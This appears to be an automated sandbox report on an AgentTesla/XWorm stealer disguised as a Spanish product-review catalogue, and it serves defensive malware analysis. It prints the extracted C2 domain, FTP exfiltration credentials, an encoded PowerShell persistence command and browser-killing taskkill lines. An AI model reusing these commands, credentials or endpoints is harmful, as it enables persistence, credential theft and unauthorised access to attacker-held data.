agenttesla | bb74d83e3d4f2f4fd4db9202f93d0ebb0ec2ab548889d0a7715d8962f85609bc

Analysis

max time kernel
85s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 14:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Catálogo de reseñas de productos.exe
Size 720KB
Sample261027-r1fnesdy5x
SHA256 bb74d83e3d4f2f4fd4db9202f93d0ebb0ec2ab548889d0a7715d8962f85609bc
MD5 2dbc1098c01f9bd1da3a31858b54f0ee
SHA1 87d79373ee7855fd018d3d003d63b862f3018c91
SHA512 2ed146b9199191407d12e87d35888675f2829fa42a5399d9232966ea92900ecbf3e42f49c71ec7c56889b95c3240200c14001b9d57878ad694514d1908b93954
SSDEEP 12288:/cB48pn4dJlYtOXL5UWBWG25VWQe/Up2C3jKhtHbcrcnDuWk64:bSnCvYwL5UWBH25VVe/yB3j2Ui4
TLSH
T1CCF4F1142BEA0F55EA7E6B7C9570012907F6F503DA23E71E6D9920EE0E33B81CA55723
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution agenttesla xworm keylogger pyinstaller rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

vallxx.duckdns.org:4689

Mutex

LZBDpGU2NGqFwoUo

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

agenttesla

Credentials

Protocol
ftp
Host
ftp://ftp.brightlearning.com.my
Port
21
Username
[email protected]
Password
,Aept[$)OmwWgF+Y

Signatures

Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/6032-809-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	6032	RegAsm.exe

System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 3 IoCs

Abuse Regasm to proxy execution of malicious code.

defense_evasion

Regsvcs/Regasm

T1218.009

description	ioc	Process
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	Catálogo de reseñas de productos.exe
File created	\??\c:\Users\Admin\AppData\Local\Temp\RegAsm.exe	csc.exe
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	RegAsm.exe

.NET Reactor proctector 64 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/5380-7-0x00000000093A0000-0x0000000009406000-memory.dmp	net_reactor
behavioral2/memory/5380-37-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-29-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-25-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-15-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-11-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-8-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-41-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-43-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-93-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-99-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-133-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-131-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-129-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-127-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-125-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-123-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-119-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-117-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-115-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-113-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-111-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-107-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-103-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-97-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-95-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-91-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-87-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-85-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-83-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-81-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-79-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-77-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-75-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-73-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-71-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-69-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-67-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-65-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-63-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-61-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-59-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-57-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-121-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-109-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-105-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-101-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-89-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-55-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-53-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-51-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-39-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-36-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-33-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-32-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-27-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-23-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-21-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-19-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-17-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-13-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-9-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-49-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor
behavioral2/memory/5380-47-0x00000000093A0000-0x0000000009422000-memory.dmp	net_reactor

Executes dropped EXE 5 IoCs

pid	Process
4088	onbdsc.exe
4216	eaobxm.exe
5236	dmksrvRuntimeBroker.exe
2004	vzwcai.exe
2400	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5380 set thread context of 6032	5380	Catálogo de reseñas de productos.exe	90

UPX packed file 54 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c588-1669.dat	upx
behavioral2/memory/4836-1672-0x00007FFE3D420000-0x00007FFE3DA84000-memory.dmp	upx
behavioral2/files/0x000d00000001c57c-1675.dat	upx
behavioral2/memory/4836-1680-0x00007FFE5C230000-0x00007FFE5C23F000-memory.dmp	upx
behavioral2/files/0x000d00000001c57b-1681.dat	upx
behavioral2/files/0x000d00000001c57f-1685.dat	upx
behavioral2/memory/4836-1686-0x00007FFE5C1E0000-0x00007FFE5C20B000-memory.dmp	upx
behavioral2/memory/4836-1690-0x00007FFE5C1D0000-0x00007FFE5C1DF000-memory.dmp	upx
behavioral2/files/0x000d00000001c583-1688.dat	upx
behavioral2/memory/4836-1684-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp	upx
behavioral2/files/0x000f00000001c536-1679.dat	upx
behavioral2/memory/4836-1678-0x00007FFE5C240000-0x00007FFE5C267000-memory.dmp	upx
behavioral2/files/0x000d00000001c580-1693.dat	upx
behavioral2/memory/4836-1695-0x00007FFE5BEA0000-0x00007FFE5BEB9000-memory.dmp	upx
behavioral2/files/0x000d00000001c589-1694.dat	upx
behavioral2/memory/4836-1697-0x00007FFE5C150000-0x00007FFE5C15D000-memory.dmp	upx
behavioral2/files/0x000d00000001c581-1698.dat	upx
behavioral2/files/0x000d00000001c58a-1700.dat	upx
behavioral2/memory/4836-1701-0x00007FFE5BE70000-0x00007FFE5BE95000-memory.dmp	upx
behavioral2/memory/4836-1703-0x00007FFE3D2A0000-0x00007FFE3D41F000-memory.dmp	upx
behavioral2/files/0x000d00000001c577-1704.dat	upx
behavioral2/files/0x000e00000001c53e-1706.dat	upx
behavioral2/files/0x000d00000001c53f-1708.dat	upx
behavioral2/memory/4836-1712-0x00007FFE5C240000-0x00007FFE5C267000-memory.dmp	upx
behavioral2/files/0x000e00000001c53c-1714.dat	upx
behavioral2/memory/4836-1715-0x00007FFE5A620000-0x00007FFE5A62C000-memory.dmp	upx
behavioral2/memory/4836-1718-0x00007FFE5A4B0000-0x00007FFE5A4BC000-memory.dmp	upx
behavioral2/files/0x000d00000001c54f-1719.dat	upx
behavioral2/files/0x000d00000001c55c-1720.dat	upx
behavioral2/memory/4836-1721-0x00007FFE5A4A0000-0x00007FFE5A4AC000-memory.dmp	upx
behavioral2/memory/4836-1711-0x00007FFE5BE40000-0x00007FFE5BE52000-memory.dmp	upx
behavioral2/memory/4836-1723-0x00007FFE5C1D0000-0x00007FFE5C1DF000-memory.dmp	upx
behavioral2/memory/4836-1724-0x00007FFE5A490000-0x00007FFE5A49C000-memory.dmp	upx
behavioral2/memory/4836-1710-0x00007FFE5BE60000-0x00007FFE5BE6B000-memory.dmp	upx
behavioral2/memory/4836-1709-0x00007FFE3D420000-0x00007FFE3DA84000-memory.dmp	upx
behavioral2/files/0x000d00000001c55a-1725.dat	upx
behavioral2/memory/4836-1727-0x00007FFE59CF0000-0x00007FFE59CFB000-memory.dmp	upx
behavioral2/memory/4836-1728-0x00007FFE59CE0000-0x00007FFE59CEB000-memory.dmp	upx
behavioral2/memory/4836-1730-0x00007FFE59CD0000-0x00007FFE59CDB000-memory.dmp	upx
behavioral2/memory/4836-1729-0x00007FFE5BE70000-0x00007FFE5BE95000-memory.dmp	upx
behavioral2/memory/4836-1732-0x00007FFE59CC0000-0x00007FFE59CCC000-memory.dmp	upx
behavioral2/memory/4836-1731-0x00007FFE3D2A0000-0x00007FFE3D41F000-memory.dmp	upx
behavioral2/memory/4836-1755-0x00007FFE5C230000-0x00007FFE5C23F000-memory.dmp	upx
behavioral2/memory/4836-1761-0x00007FFE5BE70000-0x00007FFE5BE95000-memory.dmp	upx
behavioral2/memory/4836-1760-0x00007FFE5C150000-0x00007FFE5C15D000-memory.dmp	upx
behavioral2/memory/4836-1759-0x00007FFE5BEA0000-0x00007FFE5BEB9000-memory.dmp	upx
behavioral2/memory/4836-1763-0x00007FFE5BE60000-0x00007FFE5BE6B000-memory.dmp	upx
behavioral2/memory/4836-1762-0x00007FFE3D2A0000-0x00007FFE3D41F000-memory.dmp	upx
behavioral2/memory/4836-1758-0x00007FFE5C1D0000-0x00007FFE5C1DF000-memory.dmp	upx
behavioral2/memory/4836-1764-0x00007FFE3D420000-0x00007FFE3DA84000-memory.dmp	upx
behavioral2/memory/4836-1757-0x00007FFE5C1E0000-0x00007FFE5C20B000-memory.dmp	upx
behavioral2/memory/4836-1756-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp	upx
behavioral2/memory/4836-1754-0x00007FFE5C240000-0x00007FFE5C267000-memory.dmp	upx
behavioral2/memory/4836-1753-0x00007FFE5BE40000-0x00007FFE5BE52000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	RegAsm.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3936	powershell.exe
3392	powershell.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000e00000001c535-1603.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	onbdsc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	onbdsc.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vzwcai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Catálogo de reseñas de productos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	onbdsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eaobxm.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1504	taskkill.exe
5968	taskkill.exe
3352	taskkill.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
5380	Catálogo de reseñas de productos.exe
5380	Catálogo de reseñas de productos.exe
4088	onbdsc.exe
4088	onbdsc.exe
3936	powershell.exe
3936	powershell.exe
6032	RegAsm.exe
6032	RegAsm.exe
3936	powershell.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe
2400	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5380	Catálogo de reseñas de productos.exe
Token: SeDebugPrivilege	6032	RegAsm.exe
Token: SeDebugPrivilege	4088	onbdsc.exe
Token: SeDebugPrivilege	5236	dmksrvRuntimeBroker.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	2400	RegAsm.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5380 wrote to memory of 6032	5380	Catálogo de reseñas de productos.exe	90
PID 5380 wrote to memory of 6032	5380	Catálogo de reseñas de productos.exe	90
PID 5380 wrote to memory of 6032	5380	Catálogo de reseñas de productos.exe	90
PID 5380 wrote to memory of 6032	5380	Catálogo de reseñas de productos.exe	90
PID 5380 wrote to memory of 6032	5380	Catálogo de reseñas de productos.exe	90
PID 6032 wrote to memory of 4088	6032	RegAsm.exe	92
PID 6032 wrote to memory of 4216	6032	RegAsm.exe	93
PID 6032 wrote to memory of 5236	6032	RegAsm.exe	94
PID 5236 wrote to memory of 3936	5236	dmksrvRuntimeBroker.exe	96
PID 6032 wrote to memory of 4280	6032	RegAsm.exe	98
PID 4280 wrote to memory of 2560	4280	csc.exe	100
PID 6032 wrote to memory of 2004	6032	RegAsm.exe	101
PID 6032 wrote to memory of 2400	6032	RegAsm.exe	102

C:\Users\Admin\AppData\Local\Temp\Catálogo de reseñas de productos.exe
"C:\Users\Admin\AppData\Local\Temp\Catálogo de reseñas de productos.exe"
1⤵
- System Binary Proxy Execution: Regsvcs/Regasm
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5380
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Downloads MZ/PE file
  - System Binary Proxy Execution: Regsvcs/Regasm
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\Users\Admin\AppData\Local\Temp\onbdsc.exe
    "C:\Users\Admin\AppData\Local\Temp\onbdsc.exe"
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4088
- - C:\Users\Admin\AppData\Local\Temp\eaobxm.exe
    "C:\Users\Admin\AppData\Local\Temp\eaobxm.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4216
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      4⤵
      PID:4640
- - C:\Users\Admin\AppData\Local\Temp\dmksrvRuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\dmksrvRuntimeBroker.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBSAHUAbgB0AGkAbQBlACAAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFIAdQBuAHQAaQBtAGUAIABCAHIAbwBrAGUAcgAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3936
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_bc462cb2a6dc43348853ef7f21967323.cs"
    3⤵
    - System Binary Proxy Execution: Regsvcs/Regasm
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F05.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBE594E7ABFC34FF0BC13F17CA6E331B.TMP"
      4⤵
      PID:2560
- - C:\Users\Admin\AppData\Local\Temp\vzwcai.exe
    "C:\Users\Admin\AppData\Local\Temp\vzwcai.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2004
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5960
- - C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
    "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" 6032
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_1762c390fa0e4b06a8c23ca5ed6cefa8.cs"
    3⤵
    PID:1592
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD449.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC99555187A2AF4DC2B084C4EBD0B8D94.TMP"
      4⤵
      PID:4336
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ExecutionPolicy Bypass -C "& 'C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\uknz43wm54y.ps1' -E 'C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3392
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2fwipdce\2fwipdce.cmdline"
      4⤵
      PID:4444
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF696.tmp" "c:\Users\Admin\AppData\Local\Temp\2fwipdce\CSCBC7C7379C504BA597C4FDE1B3CDEA14.TMP"
        5⤵
        
        PID:3516
  - - C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe
      "C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe"
      4⤵
      PID:3584
    - - C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe"
        5⤵
        
        PID:4836
      - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:1504
      - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM brave.exe
        6⤵
        Kills process with taskkill
        
        PID:5968
      - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM msedge.exe
        6⤵
        Kills process with taskkill
        
        PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5752

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
1⤵
PID:1420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

System Binary Proxy Execution

T1218

Regsvcs/Regasm

T1218.009

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 58245b535bb164e85943800b4154e0128260c1a510da112294f1c53edfbfbf07
MD5 47ad9cc420da0514ba1b00c8644623c3
SHA1 ae21313963068b048e67ea7211e2e3b62269795b
SHA512 9aedb22199721ad446e49421651fbdb3e1799bac3d3fae2e8f09644b650ad99fa60b1055e7f5b210d51e587ee1f71ee50c95ba81700a59efeec033da62e9627f
TLSH
T16F216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

2fwipdce.dll

Path C:\Users\Admin\AppData\Local\Temp\2fwipdce\2fwipdce.dll
Size 3KB
SHA256 8fb57874e3cf0ad5f40ec43baebc4cd41ab7270450cdb8ed1fce1898d266fab4
MD5 a777b0e73f5cee972c87be035741cd95
SHA1 245aa3abf0ae2a2f072e8eba2a5794febb38721a
SHA512 80e2e53c8bb0f0d5f80cd289dedfb07b3e96d19bd007d2e56323a7863cecb9bec53d8f11c49b07e277d98559dce613856f9098b5e5fce1105c59517af9905223
TLSH
T14451DB2A63E94627E4A70730ADF3432A37B8F9149F73535D49804328AC607649E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

sdxrl1rmsch.exe

Path C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_3nnamj4qt35\sdxrl1rmsch.exe
Size 10.1MB
SHA256 61a7989ded8bd5ef9abb110fa66f8579f315946d9ae1c8289e675b0cb1fced6a
MD5 3b310dc53796b40fc76eed863cd15ae8
SHA1 2741a6acbb5099cd1875faa5197e634870eccb66
